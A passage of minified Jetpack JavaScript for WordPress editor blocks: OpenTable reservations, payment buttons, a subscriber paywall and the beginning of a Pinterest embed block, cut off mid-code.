o={attributes:r.attributes,supports:{align:!0,html:!1},save:({attributes:{rid:e}})=&gt;(0,n.jsx)(n.Fragment,{children:e.map(e=&gt;(0,n.jsx)(&quot;a&quot;,{href:`https://www.opentable.com/restref/client/?rid=${e}`,children:`https://www.opentable.com/restref/client/?rid=${e}`},e))})}},8100(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(79018),n=s(10790);const o={attributes:r.attributes,migrate:e=&gt;{const{style:t,className:s}=e,r=&quot;standard&quot;===t?&quot;&quot;:`is-style-${t}`;return{...e,className:s?`${s} ${r}`:r}},isEligible:({style:e,className:t})=&gt;!(!e||&quot;standard&quot;===e)&amp;&amp;(!t||-1===t.indexOf(&quot;is-style-&quot;)),save:({attributes:{rid:e}})=&gt;(0,n.jsx)(&quot;div&quot;,{children:e.map(e=&gt;(0,n.jsx)(&quot;a&quot;,{href:`https://www.opentable.com/restref/client/?rid=${e}`,children:`https://www.opentable.com/restref/client/?rid=${e}`},e))})}},71833(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;j});var r=s(97999),n=s(85985),o=s(94715),a=s(74997),i=s(56427),l=s(86087),c=s(27723),u=s(13022),d=s(66087),p=s(90907),h=s(78218),m=s(79018),g=s(82101),f=s(98233),b=s(50387),v=s(59038),k=s(84260),y=(s(82933),s(10790));const __=c.__,x=(0,n.sh)(m);const j=(0,i.withNotices)(function({attributes:e,clientId:t,isSelected:s,name:n,noticeOperations:j,noticeUI:w,setAttributes:_}){const C=(0,o.useBlockProps)(),A=(0,a.getBlockDefaultClassName)(n),S=(0,h.y)(m.attributes,e);(0,d.isEqual)(S,e)||_(S);const{align:E,rid:N,iframe:T,domain:B,lang:P,newtab:I,negativeMargin:M}=e,L=(0,d.isEmpty)(N),R=(0,p.D)((0,b.Iy)(),e.className),D=(0,p.D)((0,b.Iy)(N),e.className),F=(0,v.A)(D),O=(0,d.isEqual)(N,[&quot;1&quot;]);(0,l.useEffect)(()=&gt;{if(j.removeAllNotices(),!L&amp;&amp;!O&amp;&amp;&quot;wide&quot;===D&amp;&amp;&quot;wide&quot;!==E&amp;&amp;&quot;full&quot;!==E){const e=(0,y.jsx)(y.Fragment,{children:__(&#039;With the OpenTable block you may encounter display issues if you use its &quot;wide&quot; style with anything other than &quot;wide&quot; or &quot;full&quot; alignment. The wide display style may also not work well on smaller screens.&#039;,&quot;jetpack&quot;)});j.createNotice({status:&quot;warning&quot;,content:e})}},[O,E,L,N,D]),(0,l.useEffect)(()=&gt;{&quot;button&quot;===R&amp;&amp;Array.isArray(N)&amp;&amp;N?.length&gt;1&amp;&amp;_({className:&quot;&quot;,style:&quot;&quot;})},[N,R,_]),(0,l.useEffect)(()=&gt;{s&amp;&amp;(Array.isArray(N)&amp;&amp;N?.length&gt;1?(0,a.unregisterBlockStyle)(&quot;jetpack/opentable&quot;,[&quot;button&quot;]):(0,a.registerBlockStyle)(&quot;jetpack/opentable&quot;,b.i9))},[s,N]),(0,l.useEffect)(()=&gt;{&quot;wide&quot;===F&amp;&amp;&quot;wide&quot;===E&amp;&amp;_({align:&quot;&quot;}),&quot;wide&quot;===D&amp;&amp;F&amp;&amp;D!==F&amp;&amp;_({align:&quot;wide&quot;}),_({style:D})},[E,D,F,_]);const z=(0,b.K5)(N),U=e=&gt;N?.length&gt;1?[&quot;multi&quot;,&quot;button&quot;!==e?e:&quot;standard&quot;]:[&quot;button&quot;===e?&quot;button&quot;:&quot;standard&quot;,&quot;button&quot;===e?&quot;standard&quot;:e],H=e=&gt;{Array.isArray(e)?_({rid:e,style:e.length&gt;1&amp;&amp;&quot;button&quot;===D?&quot;standard&quot;:D}):(e=&gt;{const t=(0,k.a9)(e);t||(j.removeAllNotices(),j.createErrorNotice((0,y.jsxs)(y.Fragment,{children:[(0,y.jsx)(&quot;strong&quot;,{children:__(&quot;We ran into an issue&quot;,&quot;jetpack&quot;)}),(0,y.jsx)(&quot;br&quot;,{}),__(&quot;Please ensure this embed matches the one from your OpenTable account&quot;,&quot;jetpack&quot;)]})));const s=(0,h.y)(m.attributes,t);_(s),j.removeAllNotices()})(e)},q=(0,y.jsxs)(y.Fragment,{children:[(0,y.jsxs)(o.InspectorAdvancedControls,{children:[(0,y.jsx)(i.ToggleControl,{label:__(&quot;Load the widget in an iFrame (Recommended)&quot;,&quot;jetpack&quot;),checked:T,onChange:()=&gt;_({iframe:!T}),className:&quot;is-opentable&quot;,__nextHasNoMarginBottom:!0}),&quot;button&quot;===D&amp;&amp;(0,y.jsx)(i.ToggleControl,{label:__(&quot;Remove button margin&quot;,&quot;jetpack&quot;),checked:M,onChange:()=&gt;_({negativeMargin:!M}),__nextHasNoMarginBottom:!0})]}),(0,y.jsx)(o.InspectorControls,{children:(0,y.jsxs)(i.PanelBody,{title:__(&quot;Settings&quot;,&quot;jetpack&quot;),children:[(0,y.jsx)(f.A,{rids:N,onChange:H}),(0,y.jsx)(i.SelectControl,{label:__(&quot;Language&quot;,&quot;jetpack&quot;),value:P,onChange:e=&gt;_({lang:e}),options:g.P,__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0}),(0,y.jsx)(i.ToggleControl,{label:__(&quot;Open in a new window&quot;,&quot;jetpack&quot;),checked:I,onChange:()=&gt;_({newtab:!I}),__nextHasNoMarginBottom:!0})]})})]}),V=(0,r.isWpcomPlatformSite)()?&quot;https://en.support.wordpress.com/wordpress-editor/blocks/opentable-block/&quot;:&quot;https://jetpack.com/support/jetpack-blocks/opentable-block/&quot;,$=(0,y.jsxs)(i.Placeholder,{label:__(&quot;OpenTable Reservation&quot;,&quot;jetpack&quot;),icon:x,instructions:__(&quot;Enter your restaurants IDs, separated by comma, or paste an OpenTable Reservation Widget embed code.&quot;,&quot;jetpack&quot;),notices:w,children:[(0,y.jsx)(f.A,{rids:N,onSubmit:H}),(0,y.jsxs)(&quot;div&quot;,{className:`${A}-placeholder-links`,children:[(0,y.jsx)(i.ExternalLink,{href:&quot;https://restaurant.opentable.com/get-started/&quot;,children:__(&quot;Sign up for OpenTable&quot;,&quot;jetpack&quot;)}),(0,y.jsx)(i.ExternalLink,{href:V,children:__(&quot;Learn more&quot;,&quot;jetpack&quot;)})]})]}),G=(0,u.A)({[`is-style-${D}`]:!L&amp;&amp;z.includes(D),&quot;is-placeholder&quot;:L,&quot;is-multi&quot;:&quot;multi&quot;===U(D)[0],[`align${E}`]:E,&quot;has-no-margin&quot;:M});return(0,y.jsxs)(&quot;div&quot;,{...C,children:[w,(0,y.jsxs)(&quot;div&quot;,{className:G,children:[!L&amp;&amp;q,L?$:(e=&gt;{const[s,r]=U(e||D);return(0,y.jsxs)(y.Fragment,{children:[(0,y.jsx)(&quot;div&quot;,{className:`${A}-overlay`}),(0,y.jsx)(&quot;iframe&quot;,{title:(0,c.sprintf)(/* translators: %s: a unique ID. */
__(&quot;Open Table Preview %s&quot;,&quot;jetpack&quot;),t),scrolling:&quot;no&quot;,src:`https://www.opentable.com/widget/reservation/canvas?rid=${Array.isArray(N)?N.join(&quot;%2C&quot;):&quot;&quot;}&amp;type=${s}&amp;theme=${r}&amp;overlay=false&amp;domain=${B}&amp;lang=${P&amp;&amp;g.L.includes(P)?P:&quot;en-US&quot;}&amp;newtab=${I}&amp;disablega=true`})]})})()]})]})})},82144(e,t,s){&quot;use strict&quot;;var r=s(94715),n=s(74997),o=s(94375),a=s(79018),i=s(34157),l=s(8100),c=s(71833),u=s(50387),d=s(84260),p=(s(82933),s(96117),s(10790));(0,o.M)(a,{edit:c.A,save:({attributes:{rid:e}})=&gt;{const t=r.useBlockProps.save();return(0,p.jsx)(&quot;div&quot;,{...t,children:e?.map((e,t)=&gt;(0,p.jsx)(&quot;a&quot;,{href:`https://www.opentable.com/restref/client/?rid=${e}`,children:`https://www.opentable.com/restref/client/?rid=${e}`},`${e}-${t}`))})},attributes:a.attributes,styles:(0,u.Iy)(),transforms:{from:[{type:&quot;raw&quot;,isMatch:e=&gt;&quot;P&quot;===e.nodeName&amp;&amp;0===e.textContent.indexOf(&quot;http&quot;)&amp;&amp;(d.XA.test(e.textContent)||d.JJ.test(e.textContent)),transform:e=&gt;{const t=(0,d.a9)(e.textContent);return(0,n.createBlock)(&quot;jetpack/opentable&quot;,t)}}]},deprecated:[i.A,l.A]})},82101(e,t,s){&quot;use strict&quot;;s.d(t,{L:()=&gt;n,P:()=&gt;r});const r=[{value:&quot;en-US&quot;,label:&quot;English&quot;},{value:&quot;fr-CA&quot;,label:&quot;Français&quot;},{value:&quot;de-DE&quot;,label:&quot;Deutsch&quot;},{value:&quot;es-MX&quot;,label:&quot;Español&quot;},{value:&quot;ja-JP&quot;,label:&quot;日本語&quot;},{value:&quot;nl-NL&quot;,label:&quot;Nederlands&quot;},{value:&quot;it-IT&quot;,label:&quot;Italiano&quot;}],n=r.map(e=&gt;e.value)},98233(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;c});var r=s(56427),n=s(86087),o=s(27723),a=s(66087),i=s(10790);const __=o.__,_n=o._n,l=/^\s*(http[s]?:\/\/|&lt;script)/;function c(e){const[t,s]=(0,n.useState)(&quot;&quot;),[o,c]=(0,n.useState)(e.rids||[]),u=/^(\d+)$|\(#(\d+)\)$/,d=(0,i.jsx)(r.FormTokenField,{value:o,saveTransform:e=&gt;l.test(e)?&quot;&quot;:e.trim(),onInputChange:s,label:_n(&quot;Restaurant ID&quot;,&quot;Restaurant IDs&quot;,o.length,&quot;jetpack&quot;),...e,onChange:t=&gt;{const s=t.map(e=&gt;{const t=u.exec(e);if(t){return t[1]||t[2]}return e});c(s),e.onChange&amp;&amp;e.onChange(s)},__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0});return(0,i.jsx)(&quot;div&quot;,{className:&quot;wp-block-jetpack-opentable-restaurant-picker&quot;,children:e.onSubmit?(0,i.jsxs)(&quot;form&quot;,{onSubmit:s=&gt;{s.preventDefault(),e.onSubmit((0,a.isEmpty)(o)?t:o)},children:[d,(0,i.jsx)(r.Button,{variant:&quot;secondary&quot;,type:&quot;submit&quot;,children:__(&quot;Embed&quot;,&quot;jetpack&quot;)})]}):d})}},50387(e,t,s){&quot;use strict&quot;;s.d(t,{Iy:()=&gt;o,K5:()=&gt;a,i9:()=&gt;n});var r=s(27723);const __=r.__,n={name:&quot;button&quot;,label:__(&quot;Button (210 x 113 pixels)&quot;,&quot;jetpack&quot;)},o=e=&gt;[{name:&quot;standard&quot;,label:__(&quot;Standard (224 x 301 pixels)&quot;,&quot;jetpack&quot;),isDefault:!0},{name:&quot;tall&quot;,label:__(&quot;Tall (288 x 490 pixels)&quot;,&quot;jetpack&quot;)},{name:&quot;wide&quot;,label:__(&quot;Wide (840 x 150 pixels)&quot;,&quot;jetpack&quot;)},(!e||1===e.length)&amp;&amp;n].filter(Boolean),a=e=&gt;o(e).map(e=&gt;e.name)},59038(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});var r=s(86087);function n(e){const t=(0,r.useRef)(void 0);return(0,r.useEffect)(()=&gt;{t.current=e},[e]),t.current}},84260(e,t,s){&quot;use strict&quot;;s.d(t,{JJ:()=&gt;n,XA:()=&gt;o,a9:()=&gt;a});const r=/&lt;\s*script[^&gt;]*src\s*=\s*[&quot;&#039;]?([^&quot;&#039;]*)/i,n=/restref=([0-9]+)&amp;/,o=/rid=([0-9]+)&amp;/,a=e=&gt;{if(e)return(e=&gt;{if(!e)return;let t=&quot;&quot;;if(t=0===e.indexOf(&quot;http&quot;)?new URL(e):new URL(&quot;http:&quot;+e),!t.host||-1===t.host.indexOf(&quot;opentable&quot;)||!t.search)return;const s=new URLSearchParams(t.search);let r=s.get(&quot;theme&quot;);&quot;button&quot;===s.get(&quot;type&quot;)&amp;&amp;(r=s.get(&quot;type&quot;));let n=s.getAll(&quot;rid&quot;);if(n&amp;&amp;0!==n.length||(n=s.getAll(&quot;restref&quot;)),!n||0===n.length)return;const o={};n&amp;&amp;(o.rid=n);const a=s.get(&quot;domain&quot;);a&amp;&amp;(o.domain=a);const i=s.get(&quot;iframe&quot;);i&amp;&amp;(o.iframe=i);const l=s.get(&quot;lang&quot;);l&amp;&amp;(o.lang=l);const c=s.get(&quot;newtab&quot;);return c&amp;&amp;(o.newtab=c),r&amp;&amp;(o.style=r),o})((e=&gt;{const t=e.match(r);return t&amp;&amp;t[1]?t[1]:n.test(e)||o.test(e)?e:void 0})(e))}},72347(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;f});var r=s(94715),n=s(47143),o=s(86087),a=s(52619),i=s(27723),l=s(13022),c=s(2274),u=s(72462),d=s(53796),p=s(26247),h=s(16521),m=s(10790);const __=i.__,g=[&quot;jetpack/recurring-payments&quot;];const f=function({clientId:e,attributes:t}){const{layout:s,fontSize:i}=t,{connectUrl:f,isApiConnected:b}=(0,n.useSelect)(e=&gt;{const{getConnectUrl:t,isApiStateConnected:s}=e(h.M);return{connectUrl:t(),isApiConnected:s()}}),v=(0,p.A)(),k=(0,n.useSelect)(t=&gt;t(&quot;core/block-editor&quot;).getBlock(e).innerBlocks.filter(e=&gt;&quot;jetpack/recurring-payments&quot;===e.name),[e]);(0,o.useEffect)(()=&gt;{(0,a.addFilter)(&quot;jetpack.recurringPayments.editorSettings&quot;,&quot;jetpack/payment-buttons-hide-nudges-from-inner-blocks&quot;,(e,t)=&gt;k.some(e=&gt;e.clientId===t)?{...e,showStripeNudge:!1,showUpgradeNudge:!1}:e)},[k]);const y=!b&amp;&amp;!!f,x=(0,r.useBlockProps)({className:(0,l.A)({&quot;has-custom-font-size&quot;:!!i||t?.style?.typography?.fontSize})}),j=(0,r.useInnerBlocksProps)(x,{allowedBlocks:g,orientation:&quot;horizontal&quot;,template:[[&quot;jetpack/recurring-payments&quot;]],templateInsertUpdatesSelection:!0,layout:s});return delete j.id,delete j[&quot;data-block&quot;],v?(0,m.jsxs)(&quot;div&quot;,{...x,children:[y&amp;&amp;(0,m.jsx)(r.BlockControls,{group:&quot;block&quot;,children:(0,m.jsx)(u.A,{blockName:&quot;jetpack/payment-buttons&quot;,connectUrl:f})}),y&amp;&amp;(0,m.jsx)(d.V,{blockName:&quot;payment-buttons&quot;}),(0,m.jsx)(&quot;div&quot;,{...j})]}):(0,m.jsx)(&quot;div&quot;,{...x,children:(0,m.jsx)(c.A,{block:&quot;Payment Buttons&quot;,explanation:__(&quot;Connect your WordPress.com account to enable payment buttons on your site.&quot;,&quot;jetpack&quot;)})})}},54154(e,t,s){&quot;use strict&quot;;var r=s(94375),n=s(97472),o=s(72347),a=s(74054);s(56463);(0,r.M)(n,{edit:o.A,save:a.A})},74054(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(94715),n=s(13022),o=s(10790);function a({attributes:e}){const t=(0,n.A)({&quot;has-custom-font-size&quot;:!!e?.fontSize||e?.style?.typography?.fontSize}),s=r.useBlockProps.save({className:t}),a=r.useInnerBlocksProps.save(s);return(0,o.jsx)(&quot;div&quot;,{...a})}},3601(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(56427),n=s(10790);const o=&quot;undefined&quot;!=typeof window?window.wp?.blocks?.getBlockType:null;function a({variations:e,onSelect:t,label:s}){return(0,n.jsx)(&quot;ul&quot;,{&quot;aria-label&quot;:s,className:&quot;wp-block-jetpack-payments-intro__variation-picker&quot;,children:e.map(e=&gt;(0,n.jsxs)(&quot;li&quot;,{children:[(0,n.jsx)(r.Button,{variant:&quot;secondary&quot;,icon:e.icon,iconSize:48,onClick:()=&gt;t(e),className:&quot;wp-block-jetpack-payments-intro__variation-picker__variation&quot;,label:e.description||e.title}),(0,n.jsx)(&quot;span&quot;,{className:&quot;wp-block-jetpack-payments-intro__variation-picker__variation-label&quot;,role:&quot;presentation&quot;,children:o?.(e.name)?.title||e.title})]},e.name))})}},44809(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r=[s(91515)]},71938(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r={}},91515(e,t,s){&quot;use strict&quot;;s.r(t),s.d(t,{attributes:()=&gt;o.A,save:()=&gt;i,supports:()=&gt;a.A});var r=s(94715),n=s(10790),o=s(71938),a=s(62755);const i=()=&gt;(0,n.jsx)(r.InnerBlocks.Content,{})},62755(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r={alignWide:!1,className:!0,customClassName:!1,html:!1,reusable:!1}},37659(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;g});var r=s(94715),n=s(74997),o=s(56427),a=s(47143),i=s(86087),l=s(27723),c=s(2274),u=s(26247),d=s(3601),p=s(64276),h=s(69661),m=s(10790);const __=l.__;function g({name:e,clientId:t}){const s=e=&gt;e.categories?.includes(&quot;shop&quot;),l=(0,r.useBlockProps)(),{blockType:g,hasInnerBlocks:f,hasPatterns:b,settings:v}=(0,a.useSelect)(o=&gt;{const{getBlocks:a,__experimentalGetAllowedPatterns:i,getSettings:l}=o(r.store);return{settings:l(),blockType:(0,n.getBlockType)(e),hasInnerBlocks:a(t)?.length&gt;0,hasPatterns:i?.().filter(s).length&gt;0}}),k=(0,u.A)(),{replaceBlock:y,selectBlock:x,updateSettings:j}=(0,a.useDispatch)(r.store),w=(0,i.useCallback)(e=&gt;{!0===v?.allowedBlockTypes||v?.allowedBlockTypes?.includes(e)||j({...v,allowedBlockTypes:[...v.allowedBlockTypes,e]})},[v,j]),_=e=&gt;{const s=e.name;w(s),y(t,(0,n.createBlock)(s)),x(t)},C=h.A.filter(e=&gt;(0,n.getBlockType)(e.name));(0,i.useEffect)(()=&gt;{f||n.registerBlockVariation||_(C[0])});const A=C.length&amp;&amp;n.registerBlockVariation;let S,E=__(&quot;Please select which kind of payment you&#039;d like to add.&quot;,&quot;jetpack&quot;);return b&amp;&amp;(E=__(&quot;Start by choosing one of our suggested layout patterns.&quot;,&quot;jetpack&quot;)),S=k?!f&amp;&amp;A?(0,m.jsxs)(o.Placeholder,{icon:g?.icon?.src,label:g?.title,instructions:E,children:[b&amp;&amp;(0,m.jsxs)(m.Fragment,{children:[(0,m.jsx)(p.A,{onBlockPatternSelect:e=&gt;y(t,e.map(n.cloneBlock)),patternFilter:s}),(0,m.jsx)(&quot;p&quot;,{children:__(&quot;Or use one of our blocks to create your own.&quot;,&quot;jetpack&quot;)})]}),(0,m.jsx)(d.A,{label:__(&quot;Payment Block list&quot;,&quot;jetpack&quot;),variations:C,onSelect:(e=C[0])=&gt;{_(e)}})]}):(0,m.jsx)(r.InnerBlocks,{}):(0,m.jsx)(c.A,{block:&quot;Payments&quot;,explanation:__(&quot;Connect your WordPress.com account to start using payments blocks.&quot;,&quot;jetpack&quot;)}),(0,m.jsx)(&quot;div&quot;,{...l,children:S})}},76599(e,t,s){&quot;use strict&quot;;var r=s(94715),n=s(94375),o=s(87325),a=s(58087),i=s(77675),l=s(80830),c=s(44809),u=s(37659),d=(s(60335),s(10790));(0,n.M)(l,{edit:u.A,save:()=&gt;{const e=r.useBlockProps.save();return(0,d.jsx)(&quot;div&quot;,{...e,children:(0,d.jsx)(r.InnerBlocks.Content,{})})},keywords:[...new Set([...l.keywords,o.title,...o.keywords,i.title,...i.keywords,a.title,...a.keywords])],deprecated:c.A})},64276(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;l});var r=s(94715),n=s(56427),o=s(86087),a=s(27723),i=s(10790);const __=a.__;function l({onBlockPatternSelect:e,patternFilter:t}){const[s,a]=(0,o.useState)(!1);return r.__experimentalBlockPatternSetup?(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(n.Button,{variant:&quot;primary&quot;,onClick:()=&gt;a(!0),className:&quot;wp-payments-intro-pattern-picker__opener&quot;,children:__(&quot;Choose a pattern&quot;,&quot;jetpack&quot;)}),s&amp;&amp;(0,i.jsx)(n.Modal,{className:&quot;wp-block-jetpack-payments-intro__pattern-picker__selection-modal&quot;,title:__(&quot;Choose a pattern&quot;,&quot;jetpack&quot;),closeLabel:__(&quot;Cancel&quot;,&quot;jetpack&quot;),onRequestClose:()=&gt;a(!1),children:(0,i.jsx)(r.__experimentalBlockPatternSetup,{onBlockPatternSelect:e,filterPatternsFn:t})})]}):null}},69661(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(85985),n=s(87325),o=s(97472),a=s(58087);const i=[[n.name,n],[o.name,o],[a.name,a]].map(([e,t])=&gt;{const s=t.icon.src??t.icon;return{name:e.includes(&quot;/&quot;)?e:&quot;jetpack/&quot;+e,title:t.title,description:t.description,icon:&quot;string&quot;==typeof s&amp;&amp;s.toLowerCase().startsWith(&quot;&lt;svg&quot;)?(0,r.sh)(t):s}})},68851(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;x});s(3255);var r=s(82201),n=s(94715),o=s(56427),a=s(47143),i=s(43656),l=s(86087),c=s(27723),u=s(13109),d=s(62107),p=s(88901),h=s(92634),m=s(2274),g=s(49452),f=s(37906),b=s(42167),v=s(11354),k=s(26247),y=s(10790);const __=c.__;const x=function(){const e=(0,n.useBlockProps)(),t=(0,a.useSelect)(e=&gt;e(i.store).getCurrentPostType(),[]),s=(0,b.I)(t),c=(0,k.A)(),x=(0,v.iF)();(0,l.useEffect)(()=&gt;()=&gt;{x(f.P2.everybody.key)},[]);const{stripeConnectUrl:j,hasTierPlans:w}=(0,a.useSelect)(e=&gt;{const{getNewsletterTierProducts:t,getConnectUrl:s}=e(&quot;jetpack/membership-products&quot;);return{stripeConnectUrl:s(),hasTierPlans:0!==t()?.length}}),[_,C]=(0,l.useState)(!1);function A(e){f.P2.paid_subscribers.key!==e||!j&amp;&amp;w?x(e):C(!0)}if((0,l.useEffect)(()=&gt;{s&amp;&amp;s!==f.P2.everybody.key||x(f.P2.subscribers.key)},[s,x]),!c)return(0,y.jsx)(&quot;div&quot;,{...e,children:(0,y.jsx)(m.A,{block:&quot;Paywall&quot;,explanation:__(&quot;Connect your WordPress.com account to enable a paywall for your site.&quot;,&quot;jetpack&quot;)})});const S=e=&gt;e===f.P2.paid_subscribers.key?f.P2.paid_subscribers.label:f.P2.subscribers.label,E=(e=&gt;{switch(e){case f.P2.subscribers.key:return __(&quot;Subscriber-only content below&quot;,&quot;jetpack&quot;);case f.P2.paid_subscribers.key:return __(&quot;Paid content below this line&quot;,&quot;jetpack&quot;);default:return __(&quot;Paywall&quot;,&quot;jetpack&quot;)}})(s);let N=s??f.P2.subscribers.key;return N===f.P2.everybody.key&amp;&amp;(N=f.P2.subscribers.key),(0,y.jsxs)(&quot;div&quot;,{...e,children:[(0,y.jsx)(&quot;div&quot;,{className:&quot;wp-block-jetpack-paywall-block&quot;,children:(0,y.jsxs)(&quot;span&quot;,{children:[E,(0,y.jsx)(u.A,{icon:d.A,size:16})]})}),(0,y.jsx)(n.BlockControls,{__experimentalShareWithChildBlocks:!0,group:&quot;block&quot;,children:(0,y.jsx)(o.ToolbarDropdownMenu,{className:&quot;product-management-control-toolbar__dropdown-button&quot;,icon:h.A,text:S(s),children:({onClose:e})=&gt;(0,y.jsx)(y.Fragment,{children:(0,y.jsxs)(o.MenuGroup,{children:[(0,y.jsx)(o.MenuItem,{onClick:()=&gt;{A(f.P2.subscribers.key),e()},isSelected:s===f.P2.subscribers.key,icon:s===f.P2.subscribers.key&amp;&amp;p.A,iconPosition:&quot;right&quot;,children:S(f.P2.subscribers.key)}),(0,y.jsx)(o.MenuItem,{onClick:()=&gt;{A(f.P2.paid_subscribers.key),e()},isSelected:s===f.P2.paid_subscribers.key,icon:s===f.P2.paid_subscribers.key&amp;&amp;p.A,iconPosition:&quot;right&quot;,children:S(f.P2.paid_subscribers.key)})]})})})}),(0,y.jsx)(g.A,{closeDialog:()=&gt;C(!1),showDialog:_}),(0,y.jsx)(n.InspectorControls,{children:(0,y.jsx)(o.PanelBody,{className:&quot;jetpack-subscribe-newsletters-panel&quot;,title:__(&quot;Content access&quot;,&quot;jetpack&quot;),icon:(0,y.jsx)(r.jt,{}),initialOpen:!0,children:(0,y.jsx)(v.EX,{isEditorPanel:!0,accessLevel:N,stripeConnectUrl:j,hasTierPlans:w,postHasPaywallBlock:!0})})})]})}},19954(e,t,s){&quot;use strict&quot;;var r=s(74997),n=s(47143),o=s(43656),a=s(94375),i=s(64524),l=s(68851),c=s(89110);s(3255);const u=(0,n.subscribe)(()=&gt;{const e=(0,n.select)(o.store).getCurrentPostType();null!==e&amp;&amp;(u(),e&amp;&amp;&quot;post&quot;!==e&amp;&amp;void 0!==(0,r.getBlockType)(i.name)&amp;&amp;(0,r.unregisterBlockType)(i.name))});(0,a.M)(i,{edit:l.A,save:()=&gt;null,transforms:c.A})},89110(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(74997),n=s(64524);const o={from:[{type:&quot;block&quot;,blocks:[&quot;core/more&quot;,&quot;core/nextpage&quot;],transform:()=&gt;(0,r.createBlock)(n.name)}],to:[{type:&quot;block&quot;,blocks:[&quot;core/more&quot;],transform:()=&gt;(0,r.createBlock)(&quot;core/more&quot;)},{type:&quot;block&quot;,blocks:[&quot;core/nextpage&quot;],transform:()=&gt;(0,r.createBlock)(&quot;core/nextpage&quot;)}]}},6149(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;c});var r=s(85985),n=s(56427),o=s(27723),a=s(73800),i=s(10790);const __=o.__,_x=o._x,l=(0,r.sh)(a);function c({className:e,onSubmit:t,noticeUI:s,url:r,setUrl:o}){return(0,i.jsx)(&quot;div&quot;,{className:e,children:(0,i.jsx)(n.Placeholder,{label:__(&quot;Pinterest&quot;,&quot;jetpack&quot;),icon:l,notices:s,children:(0,i.jsxs)(&quot;form&quot;,{onSubmit:e=&gt;{e.preventDefault(),t()},children:[(0,i.jsx)(&quot;input&quot;,{type:&quot;url&quot;,value:r,className:&quot;components-placeholder__input&quot;,&quot;aria-label&quot;:__(&quot;Pinterest URL&quot;,&quot;jetpack&quot;),placeholder:__(&quot;Enter URL to embed here…&quot;,&quot;jetpack&quot;),onChange:e=&gt;o(e.target.value)}),(0,i.jsx)(n.Button,{variant:&quot;secondary&quot;,type:&quot;submit&quot;,children:_x(&quot;Embed&quot;,&quot;button label&quot;,&quot;jetpack&quot;)})]})})})}},62595(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;l});var r=s(74997),n=s(56427),o=s(86087),a=s(27723),i=s(10790);const __=a.__,_x=a._x;function l({fallbackUrl:e,onClick:t}){return(0,i.jsxs)(i.Fragment,{children:[__(&quot;Sorry, this content could not be embedded.&quot;,&quot;jetpack&quot;),&quot; &quot;,(0,i.jsx)(n.Button,{variant:&quot;link&quot;,onClick:()=&gt;{const s=(0,i.jsx)(&quot;a&quot;,{href:e,children:e});t((0,r.createBlock)(&quot;core/paragraph&quot;,{content:(0,o.renderToString)(s)}))},children:_x(&quot;Convert block to link&quot;,&quot;button label&quot;,&quot;jetpack&quot;)})]})}},37602(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(56427),n=s(27723),o=s(10790);const __=n.__;function a(){return(0,o.jsxs)(&quot;div&quot;,{className:&quot;wp-block-embed is-loading&quot;,children:[(0,o.jsx)(r.Spinner,{}),(0,o.jsx)(&quot;p&quot;,{children:__(&quot;Embedding…&quot;,&quot;jetpack&quot;)})]})}},76910(e,t,s){&quot;use strict&quot;;s.d(t,{_:()=&gt;n,e:()=&gt;r});const r=&quot;https://pinterest.com/anapinskywalker/&quot;,n=/^\s*https?:\/\/(?:www\.)?(?:[a-z]{2}\.)?(?:pinterest\.[a-z.]+|pin\.it)\/([^/]+)(\/[^/]+)?/i},5163(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(57462),n=s(10790);const o={attributes:{url:{type:&quot;string&quot;}},supports:{align:!1,html:!1},save:({attributes:e,className:t})=&gt;{const{url:s}=e;return(0,r.C)(s)?(0,n.jsx)(&quot;div&quot;,{className:t,children:(0,n.jsx)(&quot;a&quot;,{&quot;data-pin-do&quot;:(0,r.C)(s),href:s})}):null}}},18379(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;p});var r=s(94715),n=s(56427),o=s(86087),a=s(6149),i=s(62595),l=s(37602),c=s(67627),u=s(57462),d=s(10790);const p=(0,n.withNotices)(function({attributes:e,isSelected:t,noticeOperations:s,noticeUI:p,setAttributes:h,onReplace:m}){const{url:g}=e,f=(0,r.useBlockProps)(),{isFetching:b,pinterestUrl:v,testUrl:k,hasTestUrlError:y}=(0,c.A)(),[x,j]=(0,o.useState)(!1),[w,_]=(0,o.useState)(&quot;&quot;),[C,A]=(0,o.useState)(!1),S=(0,o.useCallback)(()=&gt;(0,d.jsx)(i.A,{fallbackUrl:w,onClick:m}),[y]),E=()=&gt;{b||(k(w),A(!1))},N=()=&gt;{j(!0)};if((0,o.useEffect)(()=&gt;{g&amp;&amp;k(g)},[]),(0,o.useEffect)(()=&gt;{!t&amp;&amp;x&amp;&amp;j(!1)},[t,x]),(0,o.useEffect)(()=&gt;{h({url:v}),s.removeAllNotices(),v&amp;&amp;_(v),y&amp;&amp;s.createErrorNotice(S())},[v,y,h,S]),b)return(0,d.jsx)(l.A,{});const T=(0,u.C)(g);let B;if(C||!g||g&amp;&amp;!T)B=(0,d.jsx)(a.A,{onSubmit:E,noticeUI:p,url:w,setUrl:_});else{const e=`&lt;a data-pin-do=&#039;${T}&#039; 